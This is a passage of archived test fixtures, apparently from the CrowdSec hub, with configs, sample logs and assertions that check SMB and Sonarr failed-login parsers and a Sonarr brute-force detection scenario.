hub1/.tests/smb-logs/000077500000000000000000000000001437532772500146775ustar00rootroot00000000000000hub1/.tests/smb-logs/config.yaml000066400000000000000000000002601437532772500170260ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/crowdsecurity/smb-logs.yaml scenarios: - "" postoverflows: - "" collections: [] log_file: smb-logs.log log_type: smb hub1/.tests/smb-logs/parser.assert000066400000000000000000000051331437532772500174200ustar00rootroot00000000000000len(results) == 3 len(results["s01-parse"]["crowdsecurity/smb-logs"]) == 2 results["s01-parse"]["crowdsecurity/smb-logs"][0].Success == true results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Parsed["message"] == "Auth: [SMB2,(null)] user [WORKGROUP]\\[root] at [Thu, 14 Oct 2021 15:24:12.023984 UTC] with [NTLMv2] status [NT_STATUS_NO_SUCH_USER] workstation [MANTIS] remote host [ipv4:172.17.0.1:44890] mapped to [WORKGROUP]\\[root]. local host [ipv4:172.17.0.2:445] " results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Parsed["program"] == "smb" results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Parsed["smb_domain"] == "WORKGROUP" results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Parsed["user"] == "root" results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Parsed["ip_source"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Meta["log_type"] == "smb_failed_auth" results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Meta["subtype"] == "smb_bad_user" results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Meta["user"] == "root" results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Meta["datasource_path"] == "smb-logs.log" results["s01-parse"]["crowdsecurity/smb-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/smb-logs"][1].Success == true results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Parsed["ip_source"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Parsed["message"] == "Auth: [SMB2,(null)] user [WORKGROUP]\\[administrator] at [Thu, 14 Oct 2021 15:24:16.248504 UTC] with [NTLMv2] status [NT_STATUS_WRONG_PASSWORD] workstation [MANTIS] remote host [ipv4:172.17.0.1:44896] mapped to [WORKGROUP]\\[administrator]. local host [ipv4:172.17.0.2:445] " results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Parsed["program"] == "smb" results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Parsed["smb_domain"] == "WORKGROUP" results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Parsed["user"] == "administrator" results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Meta["datasource_path"] == "smb-logs.log" results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Meta["log_type"] == "smb_failed_auth" results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Meta["subtype"] == "smb_bad_password" results["s01-parse"]["crowdsecurity/smb-logs"][1].Evt.Meta["user"] == "administrator" hub1/.tests/smb-logs/smb-logs.log000066400000000000000000000010151437532772500171220ustar00rootroot00000000000000Auth: [SMB2,(null)] user [WORKGROUP]\[root] at [Thu, 14 Oct 2021 15:24:12.023984 UTC] with [NTLMv2] status [NT_STATUS_NO_SUCH_USER] workstation [MANTIS] remote host [ipv4:172.17.0.1:44890] mapped to [WORKGROUP]\[root]. local host [ipv4:172.17.0.2:445] Auth: [SMB2,(null)] user [WORKGROUP]\[administrator] at [Thu, 14 Oct 2021 15:24:16.248504 UTC] with [NTLMv2] status [NT_STATUS_WRONG_PASSWORD] workstation [MANTIS] remote host [ipv4:172.17.0.1:44896] mapped to [WORKGROUP]\[administrator]. local host [ipv4:172.17.0.2:445] hub1/.tests/sonarr-bf/000077500000000000000000000000001437532772500150455ustar00rootroot00000000000000hub1/.tests/sonarr-bf/config.yaml000066400000000000000000000004411437532772500171750ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/schiz0phr3ne/sonarr-logs.yaml scenarios: - ./scenarios/schiz0phr3ne/sonarr-bf.yaml postoverflows: - "" log_file: sonarr-bf.log log_type: syslog labels: {} ignore_parsers: true override_statics: [] hub1/.tests/sonarr-bf/parser.assert000066400000000000000000000000001437532772500175520ustar00rootroot00000000000000hub1/.tests/sonarr-bf/scenario.assert000066400000000000000000000077251437532772500201060ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "sonarr-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "sonarr_failed_authentication" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "sonarr" results[0].Overflow.Alert.Events[0].GetMeta("service") == "sonarr" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-10-09T11:55:12Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "sonarr-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "sonarr_failed_authentication" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "sonarr" results[0].Overflow.Alert.Events[1].GetMeta("service") == "sonarr" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-10-09T11:55:13Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "sonarr-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "sonarr_failed_authentication" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "sonarr" results[0].Overflow.Alert.Events[2].GetMeta("service") == "sonarr" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-10-09T11:55:14Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "sonarr-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "sonarr_failed_authentication" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "sonarr" results[0].Overflow.Alert.Events[3].GetMeta("service") == "sonarr" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-10-09T11:55:15Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "sonarr-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "sonarr_failed_authentication" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "sonarr" results[0].Overflow.Alert.Events[4].GetMeta("service") == "sonarr" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp")[4:] == "-10-09T11:55:16Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "'test'" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "sonarr-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "sonarr_failed_authentication" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "sonarr" results[0].Overflow.Alert.Events[5].GetMeta("service") == "sonarr" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("timestamp")[4:] == "-10-09T11:55:17Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "'test'" results[0].Overflow.Alert.GetScenario() == "schiz0phr3ne/sonarr-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/sonarr-bf/sonarr-bf.log000066400000000000000000000011411437532772500174360ustar00rootroot00000000000000Oct 9 11:55:12 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:13 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:14 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:15 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:16 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:17 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:18 sonarr mono[125]: [Info] Auth: Auth-Success ip 1.2.3.5 username 'test' hub1/.tests/sonarr-logs/000077500000000000000000000000001437532772500154225ustar00rootroot00000000000000hub1/.tests/sonarr-logs/config.yaml000066400000000000000000000003361437532772500175550ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/schiz0phr3ne/sonarr-logs.yaml scenarios: - "" postoverflows: - "" log_file: sonarr-logs.log log_type: syslog labels: {} ignore_parsers: false override_statics: [] hub1/.tests/sonarr-logs/parser.assert000066400000000000000000000334331437532772500201470ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 7 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Oct 9 11:55:12" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "125" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "mono" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "sonarr" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["pid"] == "125" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "mono" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Oct 9 11:55:13" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "sonarr" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["pid"] == "125" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "mono" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp"] == "Oct 9 11:55:14" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "sonarr" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "mono" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp"] == "Oct 9 11:55:15" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["pid"] == "125" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "sonarr" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["pid"] == "125" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "mono" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp"] == "Oct 9 11:55:16" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "sonarr" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp"] == "Oct 9 11:55:17" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["pid"] == "125" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "mono" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "sonarr" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["message"] == "[Info] Auth: Auth-Success ip 1.2.3.5 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["pid"] == "125" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["program"] == "mono" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["timestamp"] == "Oct 9 12:29:27" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["machine"] == "sonarr" len(results["s01-parse"]["schiz0phr3ne/sonarr-logs"]) == 7 results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Success == true results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["pid"] == "125" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["program"] == "mono" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["timestamp"] == "Oct 9 11:55:12" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["machine"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["service"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Meta["log_type"] == "sonarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Success == true results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["timestamp"] == "Oct 9 11:55:13" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["program"] == "mono" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Parsed["pid"] == "125" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["log_type"] == "sonarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["machine"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][1].Evt.Meta["service"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Success == true results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Parsed["program"] == "mono" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Parsed["timestamp"] == "Oct 9 11:55:14" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Parsed["pid"] == "125" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Meta["log_type"] == "sonarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Meta["machine"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Meta["service"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Success == true results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Parsed["program"] == "mono" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Parsed["pid"] == "125" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Parsed["timestamp"] == "Oct 9 11:55:15" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Meta["service"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Meta["log_type"] == "sonarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][3].Evt.Meta["machine"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Success == true results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Parsed["pid"] == "125" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Parsed["program"] == "mono" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Parsed["timestamp"] == "Oct 9 11:55:16" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Meta["log_type"] == "sonarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Meta["machine"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Meta["service"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][4].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Success == true results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Parsed["pid"] == "125" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Parsed["program"] == "mono" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Parsed["timestamp"] == "Oct 9 11:55:17" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Meta["log_type"] == "sonarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Meta["machine"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Meta["service"] == "sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][5].Evt.Meta["datasource_path"] == "sonarr-logs.log" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][6].Success == false len(results["success"][""]) == 0 hub1/.tests/sonarr-logs/scenario.assert000066400000000000000000000000001437532772500204360ustar00rootroot00000000000000hub1/.tests/sonarr-logs/sonarr-logs.log000066400000000000000000000011411437532772500203700ustar00rootroot00000000000000Oct 9 11:55:12 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:13 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:14 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:15 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:16 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 11:55:17 sonarr mono[125]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 9 12:29:27 sonarr mono[125]: [Info] Auth: Auth-Success ip 1.2.3.5 username 'test' hub1/.tests/sonarr-nonsyslog-logs/000077500000000000000000000000001437532772500174535ustar00rootroot00000000000000hub1/.tests/sonarr-nonsyslog-logs/config.yaml000066400000000000000000000004111437532772500216000ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/schiz0phr3ne/sonarr-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: sonarr-nonsyslog-logs.log log_type: Sonarr labels: {} ignore_parsers: false override_statics: [] hub1/.tests/sonarr-nonsyslog-logs/parser.assert000066400000000000000000000210501437532772500221700ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2022-12-17 22:04:36.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing'" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "Sonarr" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "sonarr-nonsyslog-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2022-12-17 22:04:41.7|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing2'" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "Sonarr" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "sonarr-nonsyslog-logs.log" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["schiz0phr3ne/sonarr-logs"]) == 2 results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Success == true results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["program"] == "Sonarr" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["time"] == "22:04:36.2" results["s01-parse"]["schiz0phr3ne/sonarr-logs"][0].Evt.Parsed["date"] == "2022-12-17" 